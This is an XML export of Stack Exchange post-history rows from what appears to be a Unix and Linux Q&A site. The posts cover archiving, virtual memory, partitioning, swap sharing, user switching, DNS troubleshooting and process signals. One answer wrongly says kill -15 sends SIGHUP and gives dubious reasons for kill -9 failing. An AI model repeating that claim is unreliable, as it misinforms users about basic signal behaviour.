  <row Id="12708" PostHistoryTypeId="2" PostId="5650" RevisionGUID="a40f5e3d-ce2c-499a-87a1-c90e619d7591" CreationDate="2011-01-10T20:27:55.530" UserId="885" Text="With bash ≥4 or zsh and GNU tar:&#xD;&#xA;&#xD;&#xA;    tar -czf dir.tar.gz dir/**/*.pdf&#xD;&#xA;&#xD;&#xA;This might not work if you have a very large number of PDF files and the command line is too long. Then you would need a more complex find-based solution (again, using GNU tar):&#xD;&#xA;&#xD;&#xA;    tar -cf dir.tar -T /dev/null&#xD;&#xA;    find dir -name '*.pdf' -exec tar -rf dir.tar {} +&#xD;&#xA;    gzip dir.tar&#xD;&#xA;&#xD;&#xA;Alternatively (and portably) you can create the archive with [pax](http://pubs.opengroup.org/onlinepubs/009695399/utilities/pax.html).&#xD;&#xA;&#xD;&#xA;    pax -w -x ustar -s '/\.pdf$/.pdf/' -s '/.*//' . | gzip &gt;dir.tar.gz&#xD;&#xA;&#xD;&#xA;The first `-s` says to include all `.pdf` files, without changing their name. The second `-s` says to rename all other files to an empty name, which actually means not to include them in the archive.&#xD;&#xA;" />
  <row Id="12709" PostHistoryTypeId="2" PostId="5651" RevisionGUID="6157927c-d57d-4fda-b6e0-f8b9d2133a6c" CreationDate="2011-01-10T20:28:16.297" UserId="3557" Text="Check out the section about setting up the linker: http://bwachter.lart.info/solaris/solfaq.html" />
  <row Id="12710" PostHistoryTypeId="5" PostId="5639" RevisionGUID="18e8faa9-5638-4dfa-9387-ef551a9e4989" CreationDate="2011-01-10T20:30:52.070" UserId="281" Comment="edited body" Text="(This is just a guess based on what I remember from a course on operating systems during my student years - I'm by no means an expert on these things.)&#xD;&#xA;&#xD;&#xA;Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, its content may be &quot;paged out&quot; for storage on disk. When such a virtual memory page is accessed while paged out, it generates a &quot;page fault&quot; and is moved back from the disk to RAM. Page faults are a disaster for performance because disk latency is measured in milliseconds, while RAM latency is measured in nanoseconds. (1 millisecond = a million nanoseconds! See also this [visualization][2] where 1 pixel = 1 nanosecond; zoom in at the top!)&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase. Also, less disk I/O bandwidth is available for moving memory pages from and to the disk. As a result processes may stall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory&#xD;&#xA;  [2]: http://i.imgur.com/X1Hi1.gif" />
  <row Id="12711" PostHistoryTypeId="5" PostId="5637" RevisionGUID="496a9418-41be-4e9f-8afd-2a939ef18f4b" CreationDate="2011-01-10T20:40:37.470" UserId="885" Comment="mention _POSIX_LINK_MAX" Text="Posix requires that the operating system understand the concept of hard links but not that hard links can actually be used in any particular circumstance. You can find out how many hard links are permitted at a particular location (this can vary by filesystem type) by calling &lt;code&gt;[pathconf](http://pubs.opengroup.org/onlinepubs/009695399/functions/pathconf.html)(filename, [_PC_LINK_MAX](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/unistd.h.html#tag_13_80_03_04))&lt;/code&gt;. The [minimum limit](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/limits.h.html#tag_13_24_03_05) (`_POSIX_LINK_MAX`) is 8, but this is rather meaningless as [`link()`](http://pubs.opengroup.org/onlinepubs/009695399/functions/link.html) can report many other errors anyway (permission denied, disk full, …).&#xD;&#xA;&#xD;&#xA;The [`stat`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/stat.h.html#tag_13_62_03) structure stores the link count in a field of type [`nlink_t`](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/sys/types.h.html#tag_13_67_03), so the type of this field gives an upper limit on your system. But there's a good chance you'll never be able to reach that far: it's common to have a 32-bit `nlink_t` but only 16 bits in many filesystems (a quick grep in the Linux source shows that ext[234], NTFS, UFS and XFS use 16-bit link counts in the kernel data structures).&#xD;&#xA;" />
  <row Id="12712" PostHistoryTypeId="5" PostId="5639" RevisionGUID="45800898-d22c-4ad9-927a-0b48aa8cd813" CreationDate="2011-01-10T20:40:43.173" UserId="281" Comment="deleted 144 characters in body" Text="Operating systems make use of [virtual memory][1] so that more memory can be used than there is physical RAM available. When the kernel decides that it has a better use for a physical memory page, its content may be &quot;paged out&quot; for storage on disk. When such a virtual memory page is accessed while paged out, it generates a **page fault** and is moved back from the disk to RAM.&#xD;&#xA;&#xD;&#xA;Page faults are a disaster for performance because disk latency is measured in milliseconds, while RAM latency is measured in nanoseconds. (1 millisecond = a million nanoseconds!) Take a look at this [visualization][2] where 1 pixel = 1 nanosecond; zoom in at the top!&#xD;&#xA;&#xD;&#xA;Memory is not only used by user processes, but also by the kernel for things like file system caching. During file system activity, the kernel will cache recently used data. The assumption is that there is a good chance that the same data will be used again shortly, so caching should improve I/O performance.&#xD;&#xA;&#xD;&#xA;Physical memory being used for the file system cache cannot be used for processes, so during file system activity more process memory will be paged out and page faults will increase. Also, less disk I/O bandwidth is available for moving memory pages from and to the disk. As a result processes may stall.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Virtual_memory&#xD;&#xA;  [2]: http://i.imgur.com/X1Hi1.gif" />
  <row Id="12713" PostHistoryTypeId="2" PostId="5652" RevisionGUID="2b1916da-8b14-4a92-b524-e5c9d338282c" CreationDate="2011-01-10T20:49:33.657" UserId="2339" Text="I had to get rid of the dual boot in my work computer (needed space for work stuff) and I used the MBRFix utility which you can download here:&#xD;&#xA;&#xD;&#xA;http://www.sysint.no/products/Download/tabid/536/language/en-US/Default.aspx" />
  <row Id="12714" PostHistoryTypeId="6" PostId="5618" RevisionGUID="5d3dccce-1a45-45bf-8623-fcfe05c18217" CreationDate="2011-01-10T20:58:27.793" UserId="885" Comment="edited tags" Text="éusbàéandroidà" />
  <row Id="12715" PostHistoryTypeId="2" PostId="5653" RevisionGUID="7f441d26-cdb2-4d5f-a8ea-ed4751f9dec7" CreationDate="2011-01-10T21:11:38.467" UserId="1836" Text="I have just bought a new laptop (packard bell EasyNote TM 87) which has window7 preinstalled. There are already two partitions labelled PQSERVICE, SYSTEM RESERVED and  Packard Bell C:. I cannot remove this windows installation because I dont have a copy of windows only recovery dvds. I want to triboot windws, ubuntu and suse. First, I created an extended partition using gparted with 2 partitions  and was left with some unallocated space. I installed ubuntu in the extended partition by creating / and /home logical partitions. Now I want to install suse in the unallocated space. The Suse 11.3 live cd does not list that unallocated space. What should I do?" />
  <row Id="12716" PostHistoryTypeId="1" PostId="5653" RevisionGUID="7f441d26-cdb2-4d5f-a8ea-ed4751f9dec7" CreationDate="2011-01-10T21:11:38.467" UserId="1836" Text="tribooting windws, ubuntu and suse" />
  <row Id="12717" PostHistoryTypeId="3" PostId="5653" RevisionGUID="7f441d26-cdb2-4d5f-a8ea-ed4751f9dec7" CreationDate="2011-01-10T21:11:38.467" UserId="1836" Text="édualöbootà" />
  <row Id="12718" PostHistoryTypeId="2" PostId="5654" RevisionGUID="1c377367-ec56-4592-a5cf-1744f78a8d38" CreationDate="2011-01-10T21:12:20.367" UserId="885" Text="If it's acceptable for you, you can set a library search path when compiling (more precisely, when linking). Pass the `-rpath` option to `ld`, or tell the compiler to do so, e.g.&#xD;&#xA;&#xD;&#xA;    gcc -Wl,-rpath,/usr/local/lib&#xD;&#xA;" />
  <row Id="12719" PostHistoryTypeId="5" PostId="5651" RevisionGUID="bef91651-d6c4-40ad-8bb5-403eeefbae30" CreationDate="2011-01-10T21:14:21.473" UserId="885" Comment="added one-line summary of cited link" Text="Check out the section about setting up the linker: http://bwachter.lart.info/solaris/solfaq.html&#xD;&#xA;&#xD;&#xA;You want the [`crle`](http://docs.sun.com/app/docs/doc/819-2239/crle-1?l=all&amp;a=view) command.&#xD;&#xA;" />
  <row Id="12720" PostHistoryTypeId="2" PostId="5655" RevisionGUID="9ff107bd-c14e-456c-8123-375e2b9deb4c" CreationDate="2011-01-10T21:26:44.630" UserId="885" Text="You can have a maximum of four non-logical partitions (non-logical meaning primary or extended). Also most tools only support one extended partition.&#xD;&#xA;&#xD;&#xA;Linux doesn't care if it's on logical or primary partitions. I think your best bet is to resize that extended partition so that it covers everything except the Windows partition and the PQSERVICE partition. Gparted can do this without affecting the logical partitions that are already there.&#xD;&#xA;&#xD;&#xA;If my answer doesn't help, boot a Linux live CD and report the output of `fdisk -l` (type this command in a terminal, and if at all possible copy-paste the output).&#xD;&#xA;" />
  <row Id="12721" PostHistoryTypeId="6" PostId="5653" RevisionGUID="2b856180-f472-419b-b165-f0c18699d09d" CreationDate="2011-01-10T21:27:09.373" UserId="885" Comment="edited tags" Text="épartitionàédualöbootà" />
  <row Id="12722" PostHistoryTypeId="5" PostId="3572" RevisionGUID="10194291-b758-4320-8f3d-5924732be87d" CreationDate="2011-01-10T21:48:20.553" UserId="688" Comment="merge the other asswer into this one" Text="How about using the `su` command?&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    user1&#xD;&#xA;    $ su - user2&#xD;&#xA;    Password:&#xD;&#xA;    $ whoami&#xD;&#xA;    user2&#xD;&#xA;    $ exit&#xD;&#xA;    logout&#xD;&#xA;&#xD;&#xA;If you want to log in as root, there's no need to specify username:&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    user1&#xD;&#xA;    $ su -&#xD;&#xA;    Password:&#xD;&#xA;    $ whoami&#xD;&#xA;    root&#xD;&#xA;    $ exit&#xD;&#xA;    logout&#xD;&#xA;&#xD;&#xA;Generally, you can use `sudo` to launch a new shell as the user you want; the `-u` flag lets you specify the username you want:&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    user1&#xD;&#xA;    $ sudo -u user2 zsh&#xD;&#xA;    $ whoami&#xD;&#xA;    user2&#xD;&#xA;&#xD;&#xA;There are more circuitous ways if you don't have sudo access, like ssh username@localhost, but `sudo` is probably simplest, provided that it's installed and you have permission to use it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12723" PostHistoryTypeId="5" PostId="5632" RevisionGUID="7ea075d4-4fec-4702-82a0-ebbc4fb31b56" CreationDate="2011-01-10T22:08:10.747" UserId="2180" Comment="edited body" Text="I'm not completely confident with this yet, so take it with a grain of salt and more research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It starts with the kernel hotplug subsystem. After a device is setup, it calls whatever userspace program is setup to handle hotplug events. This can be set by `echo hotplug_handler &gt; /proc/sys/kernel/hotplug`. When the kernel launches the hotplug handler, it sets up some environment variables. If you want to, you can setup a script that just logs the environment and set it up as the handler (not on your production system, of course - a test setup).&#xD;&#xA;&#xD;&#xA;Usually (I believe), udev is setup as the handler, and it will have several rules setup about how to handle events. From there, it can launch other programs that do other things (like issue dbus messages). These udev rules are highly dependent on the particular distribution of interest." />
  <row Id="12724" PostHistoryTypeId="2" PostId="5656" RevisionGUID="a58faef3-4693-4a19-b622-ee24f4cffad2" CreationDate="2011-01-10T22:37:53.303" UserId="688" Text="In order to save disk space, I want to have two OS installations share a single swap partition (a dual-boot). Is this a good idea?" />
  <row Id="12725" PostHistoryTypeId="1" PostId="5656" RevisionGUID="a58faef3-4693-4a19-b622-ee24f4cffad2" CreationDate="2011-01-10T22:37:53.303" UserId="688" Text="Are there any side effects when two distros share a swap partition?" />
  <row Id="12726" PostHistoryTypeId="3" PostId="5656" RevisionGUID="a58faef3-4693-4a19-b622-ee24f4cffad2" CreationDate="2011-01-10T22:37:53.303" UserId="688" Text="épartitionàéswapà" />
  <row Id="12728" PostHistoryTypeId="2" PostId="5658" RevisionGUID="965fd3d2-5f90-4dec-a7d3-1119b499a0f6" CreationDate="2011-01-10T22:46:30.927" UserId="2780" Text="One side effect I can think of is: first, hibernate system1 (using the swap partition for hibernation), then boot system2. You could loose data." />
  <row Id="12729" PostHistoryTypeId="5" PostId="5653" RevisionGUID="9c0ea56d-ce13-4c77-8dda-43eebd17145f" CreationDate="2011-01-10T22:48:42.980" UserId="73" Comment="added 20 characters in body; edited title" Text="I have just bought a new laptop (Packard Bell EasyNote TM 87) which has Windows 7 preinstalled. There are already two partitions labelled PQSERVICE, SYSTEM RESERVED and  Packard Bell C:. I cannot remove this Windows installation because I don't have a copy of the Windows-only recovery DVDs.&#xD;&#xA;&#xD;&#xA;I want to tri-boot Windows, Ubuntu, and SUSE. First, I created an extended partition using `gparted` with two partitions and was left with some unallocated space. I installed Ubuntu in the extended partition by creating `/` and `/home` logical partitions. Now I want to install SUSE in the unallocated space. The SUSE 11.3 live CD does not list that unallocated space. What should I do?" />
  <row Id="12730" PostHistoryTypeId="4" PostId="5653" RevisionGUID="9c0ea56d-ce13-4c77-8dda-43eebd17145f" CreationDate="2011-01-10T22:48:42.980" UserId="73" Comment="added 20 characters in body; edited title" Text="Tri-booting Windows, Ubuntu, and SUSE" />
  <row Id="12731" PostHistoryTypeId="2" PostId="5659" RevisionGUID="c56dbee4-516c-4d50-ac83-76e15da1cd4e" CreationDate="2011-01-10T23:34:45.300" UserId="885" Text="It's possible. In fact, you can share the swap space between completely different operating systems, as long as you initialize the swap space when you boot. It used to be relatively common to [share swap space between Linux and Windows](http://tldp.org/HOWTO/Swap-Space.html), back when it represented a significant portion of your hard disk.&#xD;&#xA;&#xD;&#xA;Two restrictions come to mind:&#xD;&#xA;&#xD;&#xA;* The OSes cannot be running concurrently (which you might want to do with virtual machines).&#xD;&#xA;* You can't hibernate one of the OSes while you run another.&#xD;&#xA;" />
  <row Id="12732" PostHistoryTypeId="5" PostId="3109" RevisionGUID="1c315083-c494-457e-a637-0e5999c86233" CreationDate="2011-01-10T23:39:47.017" UserId="688" Comment="deleted 1 characters in body; edited title" Text="Sometimes, I would like to umount a **usb device**, but I get a `drive is busy` error.&#xD;&#xA;&#xD;&#xA;How do I find out which processes or programs are accessing the device?" />
  <row Id="12733" PostHistoryTypeId="4" PostId="3109" RevisionGUID="1c315083-c494-457e-a637-0e5999c86233" CreationDate="2011-01-10T23:39:47.017" UserId="688" Comment="deleted 1 characters in body; edited title" Text="How do I find out which processes are preventing unmounting of a device?" />
  <row Id="12734" PostHistoryTypeId="2" PostId="5660" RevisionGUID="4e29f3b9-2884-44bf-8102-826a249e7e3e" CreationDate="2011-01-10T23:59:54.157" UserId="3563" Text="You could use this: http://www.pixelbeat.org/scripts/ps_mem.py" />
  <row Id="12736" PostHistoryTypeId="2" PostId="5661" RevisionGUID="638b2f10-1497-48b2-abd7-5660e2f6143d" CreationDate="2011-01-11T00:16:21.467" UserId="3154" Text="One possible explanation could be iptables + dnsmasq (or other nameserver) gone rogue.&#xD;&#xA;&#xD;&#xA; * bind, dnsmasq, some other nameserver are running locally replying 192.168.1.251 to everything you ask of it.&#xD;&#xA; * iptables rewrites outgoing packets on udp port 53 to end up somewhere locally where silly nameserver listens/ansers&#xD;&#xA;&#xD;&#xA;Could you check if there's anything in the OUTPUT chain of the nat table redirecting dns traffic somewhere it shouldn't go ? (iptables -t nat -n -v -L OUTPUT).&#xD;&#xA;&#xD;&#xA;That is, you can reproduce this behavior with something along the lines of:&#xD;&#xA;&#xD;&#xA;    $ dnsmasq -p 5353 -A /#/192.168.1.251&#xD;&#xA;    $ iptables -t nat -I OUTPUT 1 -p udp --dport 53 -j REDIRECT --to-port 5353&#xD;&#xA;    # All locally generated requests outbound on udp port 53 gets sent to&#xD;&#xA;    # dnsmasq running on port 5353 which'll answer 192.168.1.251 to pretty much&#xD;&#xA;    # everything&#xD;&#xA;    $ dig @8.8.8.8 google.co.uk&#xD;&#xA;    &#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.7.1-P2 &lt;&lt;&gt;&gt; @8.8.8.8 google.co.uk&#xD;&#xA;    ; (1 server found)&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 9993&#xD;&#xA;    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;google.co.uk.                  IN      A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    google.co.uk.           0       IN      A       192.168.1.251&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 0 msec&#xD;&#xA;    ;; SERVER: 8.8.8.8#53(8.8.8.8)&#xD;&#xA;    ;; WHEN: Tue Jan 11 01:09:01 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 46&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12737" PostHistoryTypeId="5" PostId="5447" RevisionGUID="39545c90-935d-4b25-b40e-bc8254807ff9" CreationDate="2011-01-11T00:24:37.000" UserId="1779" Comment="added 400 characters in body" Text="Since Im a newb, I am only allowed one hyperlink. [Here is a Google Doc][1] with the correct links.  No proven solutions, but here are some ideas:&#xD;&#xA;&#xD;&#xA;The kernel framebuffer draws the console if there is no X11. Perhaps you can exclude the second display from you X config?&#xD;&#xA;&#xD;&#xA;I think the way to go (*think* because I havent done this myself, I like the full screen term) is to configure your external monitor as a separate framebuffer. Now you'll have one fb for the console and one for X11.&#xD;&#xA;&#xD;&#xA;I have found several con2fb, which maps a tty to a framebuffer, something like &quot;con2fb /dev/fb2 /dev/tty5&quot; but can not find where to download it. Another fan had a similar search and the source is posted [here][2].&#xD;&#xA;&#xD;&#xA;Also check out [this doc][3], especially 14.9 and this [multihead howto][4] that both discribe con2fb.&#xD;&#xA;&#xD;&#xA;Im thinking you could then take turns sending a tty to /dev/fb2 or extending your desktop... maybe xrandr?&#xD;&#xA;&#xD;&#xA;Another way to try could be a multiseat set up. This typically has separate multiple kb and mouse for each display, but you could use Synergy2, and external kvm switch, custom config with hotkeys....? [xorg][5] [xfree][6] &#xD;&#xA;&#xD;&#xA;Good luck!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/document/pub?id=1UWfrgJKaXPqCOhYqHxVzHvv2BYKb9CdTpZI0WgOWamE&#xD;&#xA;  [2]: http://www.linuxquestions.org/questions/linux-software-2/can-i-redirect-console-to-another-framebuffer-device-when-machine-is-running-454625/&#xD;&#xA;  [3]: http://www.linux.com/learn/docs/ldp/525-Framebuffer-HOWTO#s14&#xD;&#xA;  [4]: http://lwn.net/1999/0513/a/multihead.html&#xD;&#xA;  [5]: http://www.x.org/wiki/Development/Documentation/Multiseat&#xD;&#xA;  [6]: http://www.tldp.org/HOWTO/XFree-Local-multi-user-HOWTO/" />
  <row Id="12738" PostHistoryTypeId="2" PostId="5662" RevisionGUID="ade40e5b-453d-4d18-aa39-176e050f01e6" CreationDate="2011-01-11T01:22:27.203" UserId="3309" Text="You're on a wifi hotspot and you haven't &quot;agreed to the terms&quot;?" />
  <row Id="12739" PostHistoryTypeId="2" PostId="5663" RevisionGUID="20db1db6-8045-4871-9c69-5bbc08962a2f" CreationDate="2011-01-11T02:01:19.477" UserId="3568" Text="Kill actually means send a signal. there are multiple signals you can send. kill -9 is a special signal.&#xD;&#xA;&#xD;&#xA;When sending a signal the application deals with it. if not the kernel deals with it. so you can trap a signal in your application.&#xD;&#xA;&#xD;&#xA;But I said kill -9 was special. It is special in that the application doesn't get it. it goes straight to the kernel which then truly kills the application at the first possible opportunity. in other words kills it dead&#xD;&#xA;&#xD;&#xA;kill -15 sends the signal SIGHUP which stands for SIGNAL HANGUP in other words tells the application to quit. this is the friendly way to tell an application it is time to shutdown. but if the application is not responding kill -9 will kill it.&#xD;&#xA;&#xD;&#xA;if kill -9 doesnt work it probably means your kernel is out of whack. a reboot is in order. I can't recall that ever happening." />
  <row Id="12740" PostHistoryTypeId="2" PostId="5664" RevisionGUID="774de65f-d727-41a2-9e7d-df226e3bbed8" CreationDate="2011-01-11T02:06:21.453" UserId="3568" Text="&#xD;&#xA;Have you tried removing the physical cable. it should alert the stack that the connection needs to be rebuilt.&#xD;&#xA;   &#xD;&#xA;Disabling the firewire connection and re-enabling it may work as well. You could add a script that does that automagically on resume.&#xD;&#xA;&#xD;&#xA;DC" />
  <row Id="12741" PostHistoryTypeId="2" PostId="5665" RevisionGUID="5634c4ba-6f06-4e87-a79b-e39e50fd18c7" CreationDate="2011-01-11T04:51:10.763" UserId="3572" Text="What does the &quot;etc&quot; folder in the root directory stand for? I think knowing this will help me remember where certain files are located." />
  <row Id="12742" PostHistoryTypeId="1" PostId="5665" RevisionGUID="5634c4ba-6f06-4e87-a79b-e39e50fd18c7" CreationDate="2011-01-11T04:51:10.763" UserId="3572" Text="What does etc stand for?" />
  <row Id="12743" PostHistoryTypeId="3" PostId="5665" RevisionGUID="5634c4ba-6f06-4e87-a79b-e39e50fd18c7" CreationDate="2011-01-11T04:51:10.763" UserId="3572" Text="édirectoryà" />
  <row Id="12744" PostHistoryTypeId="2" PostId="5666" RevisionGUID="9d413f74-7fbb-428f-9f5d-a91fc28dac57" CreationDate="2011-01-11T04:53:43.020" UserId="2382" Text="I thought it just meant &quot;et cetera&quot; as in &quot;etc...&quot; on a list.&#xD;&#xA;&#xD;&#xA;&gt;This product helps household pets like dogs, cats, __etc...__" />
  <row Id="12745" PostHistoryTypeId="2" PostId="5667" RevisionGUID="ba44d410-b321-476e-b3bf-df346b987468" CreationDate="2011-01-11T05:26:09.180" UserId="3094" Text="I always assumed it was to suggest a miscellaneous directory, like &quot;etc = all the rest we do not bother to categorize further&quot;; I personally use such a folder too on my home directory as well (not called etc but &quot;oars&quot; = &quot;(something) else&quot;). " />
  <row Id="12746" PostHistoryTypeId="2" PostId="5668" RevisionGUID="ea7b8126-0038-4d1c-b41e-8aa92c441456" CreationDate="2011-01-11T05:30:43.437" UserId="3496" Text="My Arch installation didn't go well so can I install Chakra project to override the Arch installation?? By just installing Chakra in the same partition with Arch? Is it possible?&#xD;&#xA;&#xD;&#xA;How hard is the Chakra installation?  " />
  <row Id="12747" PostHistoryTypeId="1" PostId="5668" RevisionGUID="ea7b8126-0038-4d1c-b41e-8aa92c441456" CreationDate="2011-01-11T05:30:43.437" UserId="3496" Text="Chakra overriding Arch?/ Is this possible?" />
  <row Id="12748" PostHistoryTypeId="3" PostId="5668" RevisionGUID="ea7b8126-0038-4d1c-b41e-8aa92c441456" CreationDate="2011-01-11T05:30:43.437" UserId="3496" Text="éarchölinuxà" />
  <row Id="12749" PostHistoryTypeId="2" PostId="5669" RevisionGUID="d86558ed-2281-4795-a697-a755fbcae803" CreationDate="2011-01-11T05:46:52.660" UserId="1779" Text="[Define - /etc?](http://ask.slashdot.org/article.pl?sid=07/03/03/028258) has some good history.&#xD;&#xA;&#xD;&#xA;You can find references to &quot;et cetera&quot; in old Bell Labs UNIX manuals and so on – nowadays it's used only for system configuration, but it used to be where all the stuff that didn't fit into other directories went." />
  <row Id="12750" PostHistoryTypeId="5" PostId="5665" RevisionGUID="25cdb459-c281-4806-92bd-e2c99c3376d1" CreationDate="2011-01-11T06:05:56.007" UserId="3572" Comment="added 264 characters in body; deleted 90 characters in body" Text="What does the &quot;etc&quot; folder in the root directory stand for? I think knowing this will help me remember where certain files are located.&#xD;&#xA;&#xD;&#xA;*Update*: Might be useful for others, the folder is used for &quot;Host specific configuration files&quot; - [reference][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pathname.com/fhs/pub/fhs-2.3.pdf" />
  <row Id="12751" PostHistoryTypeId="2" PostId="5670" RevisionGUID="20980071-7ae9-475c-8157-fdbe25937475" CreationDate="2011-01-11T06:08:23.337" UserId="3309" Text="It means &quot;et cetera&quot;. In Latin literally &quot;and the rest&quot;. [And I have evidence][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.groklaw.net/comment.php?mode=display&amp;sid=2007030308154032&amp;type=article&amp;title=Question+for+Dr.+Salus&amp;pid=542488" />
  <row Id="12752" PostHistoryTypeId="5" PostId="5622" RevisionGUID="15064a54-d34d-435a-b6c2-e25c513c0424" CreationDate="2011-01-11T07:00:41.267" UserId="2327" Comment="added 265 characters in body" Text="Have you verified your DNS setup?&#xD;&#xA;&#xD;&#xA;Try the setting `mdns off` in `/etc/host.conf`. &#xD;&#xA;&#xD;&#xA;This disables the mdns resolution and helped me a lot.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;It seems gentoo is handling this a bit different. To disable multicast DNS lookups, you have to change the file `/etc/nsswitch.conf`.  &#xD;&#xA;There should be something like:&#xD;&#xA;&#xD;&#xA;    hosts:          files mdns&#xD;&#xA;&#xD;&#xA;Change it to:&#xD;&#xA;&#xD;&#xA;    hosts:          files dns" />
  <row Id="12753" PostHistoryTypeId="2" PostId="5671" RevisionGUID="65fb92b1-5b8f-4d25-9881-9b5e3282d5e6" CreationDate="2011-01-11T08:11:36.563" UserId="1875" Text="How to enter a tab character in vim with SuperTab plugin enabled?" />
  <row Id="12754" PostHistoryTypeId="1" PostId="5671" RevisionGUID="65fb92b1-5b8f-4d25-9881-9b5e3282d5e6" CreationDate="2011-01-11T08:11:36.563" UserId="1875" Text="How to enter a tab character in vim with SuperTab plugin enabled?" />
  <row Id="12755" PostHistoryTypeId="3" PostId="5671" RevisionGUID="65fb92b1-5b8f-4d25-9881-9b5e3282d5e6" CreationDate="2011-01-11T08:11:36.563" UserId="1875" Text="évimà" />
  <row Id="12756" PostHistoryTypeId="5" PostId="5646" RevisionGUID="46f0443f-ddc5-433e-8b87-7ff15c613b88" CreationDate="2011-01-11T08:22:54.223" UserId="885" Comment="removed needlessly dangerous suggestion of killing the process" Text="It sounds like you might have a [zombie process](http://en.wikipedia.org/wiki/Zombie_process).  This is harmless: the only resource a zombie process consumes is an entry in the process table. It will go away when the parent process dies or reacts to the death of its child.&#xD;&#xA;&#xD;&#xA;You can see if the process is a zombie by using `top` or the following command:&#xD;&#xA;&#xD;&#xA;    ps aux | awk '{ print $8 &quot; &quot; $2 }' | grep -w Z" />
  <row Id="12757" PostHistoryTypeId="6" PostId="5665" RevisionGUID="fc450e2f-1f81-4a5a-bab4-af07f48adbcb" CreationDate="2011-01-11T08:24:15.393" UserId="885" Comment="edited tags" Text="éterminologyàédirectoryöstructureà" />
  <row Id="12758" PostHistoryTypeId="2" PostId="5672" RevisionGUID="14ffa79d-f303-4b32-80ce-1db9cf288ce9" CreationDate="2011-01-11T09:06:13.530" UserId="1535" Text="I've not used this extension myself, but I would guess that ^V-Tab might work.  ^V in general can be used in insert mode to insert a literal keystroke instead of whatever that key is mapped to do.  So you type Control-V, then hit whatever key or key combo you want to insert literally." />
  <row Id="12759" PostHistoryTypeId="2" PostId="5673" RevisionGUID="bebb0555-b3ed-432e-bc20-536785019fbc" CreationDate="2011-01-11T09:57:11.923" UserId="29" Text="If @[Maciej](http://unix.stackexchange.com/questions/5642/what-if-kill-9-doesnt-work/5647#5647)'s and @[Gille](http://unix.stackexchange.com/questions/5642/what-if-kill-9-doesnt-work/5648#5648)'s answer's don't solve your problem, and you don't recognize the process (and asking what it is with your distro doesn't turn up answers ). Check for Rootkit's and any other signs that you've been *owned*. A rootkit is more than capable of preventing you from killing the process. In fact many are capable of preventing you from seeing them. But if they forget to modify 1 small program they might be spotted ( e.g. they modified `top`, but not `htop` ). Most likely this is not the case but better safe than sorry." />
  <row Id="12760" PostHistoryTypeId="2" PostId="5674" RevisionGUID="82206155-2cfd-4f19-b390-50432c2a626e" CreationDate="2011-01-11T10:02:12.200" UserId="29" Text="I've never installed chakra, my suggestion, install it on the same partition, but make sure that you tell chakra to *format the partition*, lose all data, etc." />
  <row Id="12761" PostHistoryTypeId="6" PostId="5668" RevisionGUID="5accfb8e-7b57-4b40-8186-91dd38c159aa" CreationDate="2011-01-11T10:08:45.840" UserId="29" Comment="add the chakra tag" Text="éarchölinuxàéchakraölinuxà" />
  <row Id="12762" PostHistoryTypeId="2" PostId="5675" RevisionGUID="dca6fd93-92bf-45ae-b8ec-41c1c72ca5ee" CreationDate="2011-01-11T10:23:21.923" UserId="29" Text="As far as I understand it, IOwait, means that a process, not the processor, is waiting for IO to become available. Processors have gained much more speed than hard drives, meaning more code will finish faster and then the disk will need to be read. When multiple more needs to be read than the drive can do fast enough, you end up with processor's waiting. The way it's decided who gets to read/write to the disk, is determined by the block scheduler, in most cases now CFQ. If you're using CFQ, and you need a process to use less of the overall IO time to increase system responsiveness, you can use `ionice -c3 &lt;processid&gt;` this is tells the system to only give this process IO when nothing else needs IO.&#xD;&#xA;&#xD;&#xA;[this](http://users.ca.astound.net/~baspence/AIXtip/iowait.htm) is still interesting and explains the iowait problem better." />
  <row Id="12763" PostHistoryTypeId="2" PostId="5676" RevisionGUID="1fe86e5e-5bc5-45b8-90be-dcd17d85a868" CreationDate="2011-01-11T10:28:23.180" UserId="3576" Text="Anyone have a recommended way to get and install Flash effectively on Fedora?" />
  <row Id="12764" PostHistoryTypeId="1" PostId="5676" RevisionGUID="1fe86e5e-5bc5-45b8-90be-dcd17d85a868" CreationDate="2011-01-11T10:28:23.180" UserId="3576" Text="Install Flash player plugin on Fedora?" />
  <row Id="12765" PostHistoryTypeId="3" PostId="5676" RevisionGUID="1fe86e5e-5bc5-45b8-90be-dcd17d85a868" CreationDate="2011-01-11T10:28:23.180" UserId="3576" Text="éflashà" />
